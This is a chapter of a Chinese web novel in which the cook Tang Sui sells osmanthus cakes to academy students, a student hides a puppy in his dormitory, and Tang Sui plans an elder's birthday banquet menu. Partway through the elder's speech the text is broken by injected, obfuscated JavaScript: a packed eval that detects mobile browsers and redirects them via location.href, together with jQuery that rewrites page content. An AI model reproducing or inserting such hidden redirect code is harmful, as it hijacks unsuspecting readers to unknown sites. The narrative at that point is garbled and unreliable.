和郑生相熟的人还顾不上失望,心里已经在暗暗提醒自己,明日定要记得把水囊带上。
唐穗却不知道自己顾客心里的小九九,她人此时忙得都顾不得抬头了。
唐穗支这个小摊,她一个人既要招呼客人,又要打包收账,虽然动作麻利,但是往往前头才送走一个学生,后头就又陆陆续续来了两三个学生,各个还都是要赶着回去上课的学生。
虽然口中没有催促,但是排在后头的人,多数打量着天色,看着时辰,个个似那脖子往前伸的盯食公鸡,让唐穗不自觉的感受到压力,手上的动作不由得又麻利了几分。
又包好一份桂花条头糕,她抬头递给对方,此时才看向来人,竟是沈嵇。
她那日在胡山长的曲水流觞宴上见到过沈嵇,能让山长在那种场合带上的学生,唐穗都能猜到,他必然是那种师长眼中的好学生,没想到好学生也翻墙。
唐穗只是脑中一瞬间无端泛起了这个念头,嘴上是绝计不会提的,好歹是除了摆摊,还私下见过两面的人,她只笑道:“竟然是沈小郎君,我方才没注意到是你,这是你的糕点,拿好。”说着将手里的芭蕉叶包,递给了沈嵇。
沈嵇将铜板放在她的手心里,只点头道:“多谢。”
然后接过桂花条头糕便走了。
送走沈嵇,唐穗又忙活了好一阵。
终于,在和靖书院敲响晨钟前,所有学生都拎着个芭蕉叶包离开了。
唐穗此时才有空深呼吸了口气,卖完学生这波早食的分量,之后就是等登山的游人了。
此时还早,游人这个时辰,恐怕才刚出发,倒是不用着急。
唐穗举起右手,往左压压腰,舒缓一下早上的疲劳,正待举起左手,突然想起了早上的那只小奶狗,她忙跑到对面,等扒开草丛,里面却是什么都没有。
唐穗瞬间变得焦急,又彻底细细地找遍了周围,找了许久,还是什么都没有找到。
这会的功夫,唐穗已经冷静下来了,又耐心地听着四周的响动,发现真的没有小狗的呜咽声了,她才确定,小奶狗真的不见了。
-----------------
却说书院这边,乙班。
郑生为了吃上唐穗的桂花条头糕,早早便起了,在唐穗的小摊前排队,位置也靠前,等他买完东西,顺着书院的墙角的那棵歪脖子树爬进来的时候,讲堂里,都还没几个人。
他小心翼翼地把那包桂花条头糕拿出来,一手拿着竹签,一手拿着水囊,一口糕一口茶,吃得那叫一个舒坦。
等他吃饱喝足,在唐穗小摊后,喊他的那人,这才赶回来。
一回来,他就凑到郑生的跟前,问道:“郑生,怎么样?那茶好不好喝,我都还没喝过呢?”一边说着还一边瞅向郑生就摆在桌案上的水囊。
言下之意,不可谓不明显。
这人平素就和郑生相熟,否则也不会在小摊后就敢直接喊人。
也正因为相熟,郑生一下子就看出了对方的真实意图,反正他也吃痛快了,便道:“你自个尝尝不就知道了,水囊里的你……”他原本想说你都拿走吧,话到嘴边,心中又不舍,卡壳片刻道:“你便拿去喝一半,再给我剩一半吧。”
那人闻言,欢欢喜喜应了,高兴道:“兄弟,还是你仗义,我以后得了好吃的,定也会分你一份的,之前你跑那么快,我还只当你是不乐意和我分一份呢?”
郑生尬笑一声:“呵,那怎么可能,这不是当时人多!应了你,只怕不够分的。”
这人想想也是,高高兴兴地将橘子龙井茶分了一小半走。
待毛夫子到了,便开始讲学,毛夫子声线特别,讲学是书院出了名的催眠,往日一早上就遇到毛夫子的课,郑生都是听得昏昏欲睡,今日却觉得格外不同,丝毫没有瞌睡的迹象。
细细比较今日和往日有何不同,好似只有今日多喝了橘子龙井茶这一遭,这般想着,他拿出了之前剩下的橘子龙井茶,又喝了一口。
酸酸甜甜的口感在口腔里炸开,薄荷的清爽直冲天灵盖,竟觉得更加的清醒了。
知道了这橘子龙井茶的妙用,郑生更加宝贝了。再不舍得多喝一口,只在自己念书犯困的时候喝上一口,饶是如此,一上午便也喝完了。
于是下午看着空空的水囊,他暗自盘算,想着明日定不能听唐小娘子的,只装上两杯的量,他要全装满,这茶哪里会放久了就不新鲜,这茶,他中午喝的时候,也还觉得好喝的很呢。
同是书院学生,甲班的沈嵇,今日却是有些如坐针毡。
刘禾已经不止一次看到沈嵇,频频往讲堂外观望了,便连一向对好学生格外宽容的林夫子,都忍不住在他第十一次向外张望的时候,点了点他的桌案。
被林夫子警告后,沈嵇才不再频频向外张望,但是对他非常熟悉的刘禾却知道,这家伙的心思根本没在这讲堂里。
这让刘禾非常好奇,要知道,作为同龄的少年人,沈嵇平时就沉稳,少有像现下这般焦躁的时候。
到了下学的时辰,沈嵇眨眼间就离开了讲堂,快到刘禾都还没来得及叫住他。
刘禾只能小跑着缀在他身后,跟着他,回了斋舍。
刘禾和沈嵇住一间斋舍,他直接推门进去,直接道:“沈嵇你鬼鬼祟祟做什么呢?”
沈嵇没想到后面还跟着刘禾,惊讶转身。
他还没来得及说话,刘禾一眼就看到了,在沈嵇怀里拱来拱去的白色团子,惊喜出声道:“这是哪里来的小狗?好可爱!”说着他伸手在狗脑袋上揉了揉。
小奶狗睁着双湿漉漉的眼睛看着他,嘴里还在不停地哼唧。
沈嵇道:“早上在山腰捡的。”
刘禾兴奋道:“那我们要养它吗?”
刘禾家中富庶,小时候在亲朋家中见过勇猛的猎犬,一直也想养一只。但是都被他娘亲严厉地拒绝,久了他便忘了,此时见到这只小奶狗,小时候的那股子喜爱又冒了出来。
沈嵇道:“恐怕不行,书院寝舍不允许养宠物。”
“那我带……阿嚏、阿嚏!”刘禾话还没说完,打喷嚏的声音就在寝舍接连响起。
沈嵇看着手里的小奶狗,又看着面前喷嚏连天的好友。
也觉得这事有些棘手了。
-----------------
唐穗这边,却顾不上找小奶狗,她下午收了摊,待在家用了饭后,就和唐雨一齐下了山,去了杨三公家。
杨家就在村子东边,是村里唯一的青砖瓦房,杨三公生有三子两女,两个女儿都已经嫁出了村,三个儿子虽是分了家,但是兄弟几个关系好,还住在一个院里,只因兄弟几个纷纷成家立业,人口增加,多加建了几间房。
杨家也已经吃完了晚饭,都是乡下穷苦人,不是对方邀请,都不会在饭点上门。
杨叔和此时就等在家里,在院子编蓑衣,远远瞧见了唐穗和唐雨,便放下手里的活计,走到院门,将两人都迎了进去。
因着杨叔和早和家里人打了招呼,杨家人知道唐穗两人要上门定宴席菜单,此时见他带着人进门,杨家说得上话的人,自动聚在了前堂。
杨三公须发皆白,已经到了六十而耳顺的年纪,在此时的农村,已算是非常长寿的人,此时他就双手拄拐,坐在上座,边上就是杨家大郎杨伯和、杨家二郎杨季和以及杨叔和。
杨三公打量着唐穗,唐雨却也在打量着这位老人家,杨家三兄弟,伯季叔的名字,唐穗听唐雨说,就是杨三公取的。
就连唐雨唐穗的名字,也都是杨三公取的,只因杨三公是村里少有的会认字写字的人,村里讲究些的人家取名,多是找他老人家。
不然唐穗没准要叫唐大丫。
因着这点,唐穗就挺感激杨三公的。
这年头能识字认字的人,多是有些本事的人,唐穗面对老人家一双浑浊却通晓世事的眼睛,也有些拘谨。
杨三公也不是为难小辈的人,先开口道:“穗姐儿,你叔和叔说你小小年纪就自学了一手好厨艺?我原是不大相信的,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760928|190150||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
但我也知道三郎不是信口开河的性子,他也尝过你的手艺,依旧提议由你来操办宴席,想必你手艺定是不差的,既然你叔和叔信你,那我也信你,你便说说三日后的宴席,你是个什么章程?”
直接进入正题,唐穗也松了口气。
都是昨晚已经仔细思量过的问题,唐穗便开口道:“三公,昨日我只简单问了叔和叔一些宴席的简单问题,好些还需两边细细详谈,才能定下这个章程来。”
“既然寿宴就定在三天后,想必宾客的名单都已经定了?想问下三公,这宴席是打算办几桌?又有哪些重要的宾客呢?”
杨三公道:“人数我们细细盘过了,打算摆上十五桌,重要的宾客的话,我还请了县里的李主簿,李主薄到时定是坐主桌的。”
唐穗沉吟道:“既是要做上十五桌的菜,那宴席当日,我除了带着我爹一起过来,三公家里也还得给我配上好些人才行,还有我想知道李主簿今年多大年纪了?”
“人手的事,你不用担心,村里的宴席,来吃席的相熟人家都会来帮忙,到时候只有你嫌人太多的时候,没有人手不够的。”杨叔和道,“至于李主簿,今年也五十有五了,和我爹差不多是同辈人。”
唐穗道:“有人帮忙就好,但也怕到时候人多乱成一锅粥,能来帮忙的人,叔和叔你可是能现在就确定下来?能确定下来的话,最好先分个工。”
杨叔和想了想道:“我只知道男宾的情况,女宾还得问问莲娘。”说着往外喊了自己的媳妇莲娘进来,问道:“莲娘,你可知道有哪些婶娘是要来帮厨的?”
莲娘道知道,思路清晰地报出一串人名,于是几人又细细对了一番名单。
唐穗将来帮忙的人,分成了采买食材、洗菜切菜、摆桌上菜和洗碗挑水的杂工共四拨人,因着杨三公会识字写字,拿纸笔都记了下来。
安排完宴席的流程,唐穗此时说到了宴席的重点,这次宴客的菜单,她道:“三公,这次是您六十岁的寿宴,主宾的李主簿也已经五十有五,那这宴席,便多定些绵软易克化的菜品才好,我先都将菜名报出来,有什么要增加删减的,你们再提出来。”
“首先是三道主菜,粉蒸肉,老火鸡汤和红烧肉,然后是半荤半素的三道菜,糯米饭、肉末茄子和鱼香肉丝,再就是素菜三道,手撕包菜、清炒时蔬和凉拌拍黄瓜,最后是一道甜品,便是我这几日卖的桂花条头糕,刚好凑成十道菜,寓意十全十美。”
唐穗穿来后,并没有吃过宴席,按本地习俗,宴席喜欢上多少道菜,唐穗都是昨晚现问的唐雨和刘娘子。
一通菜名报出,把杨家震得一愣一愣的,这些菜怎么好似都没听过呢?和之前隔壁村马顺的菜品完全不一样,这让他们根本无从问起呀?
还是杨三公见识广,虽都没吃过这些菜,但从菜名上也能窥见一二,大致他都能猜出是什么,只有一样,他也很是好奇,便问道:“这清炒时蔬是什么?”
唐穗一时竟忘了,现下没有时蔬的说法,便解释了一下道:“清炒时蔬做法,时是时令,蔬是青菜,就是清炒当季的青菜,时令长什么青菜便炒什么青菜。”
“这名取得妙。”杨三公赞一声,“既请了你来置席,那自当信你,我们都是门外汉,未必有你懂里面的门道,也不多指手画脚了,菜品便就这么定吧。”
唐穗闻言也松了口气,笑道:“多谢三公信任晚辈,晚辈定不会让您失望的。”
几人又细细合计,这些菜都要买多少食材,唐穗将将这些要采买的食材都一一归类,也让杨三公记上,到时给负责采买的那波人带上,这都是要在这两天给提前备上的,能提前买的就提前买,不能提前买的,当天也要及时送来。
至此,这场寿宴的准备工作,才算开了个好头。
杨三公将提到的这些菜品都一一记在纸上,唐穗想着这菜单之后或许还能给其他置席的人家看,便托杨三公帮自己多抄了一份。
唐穗唐雨傍晚趁着暮色而来,此时明月高挂,父女二人提着灯笼拾级而归。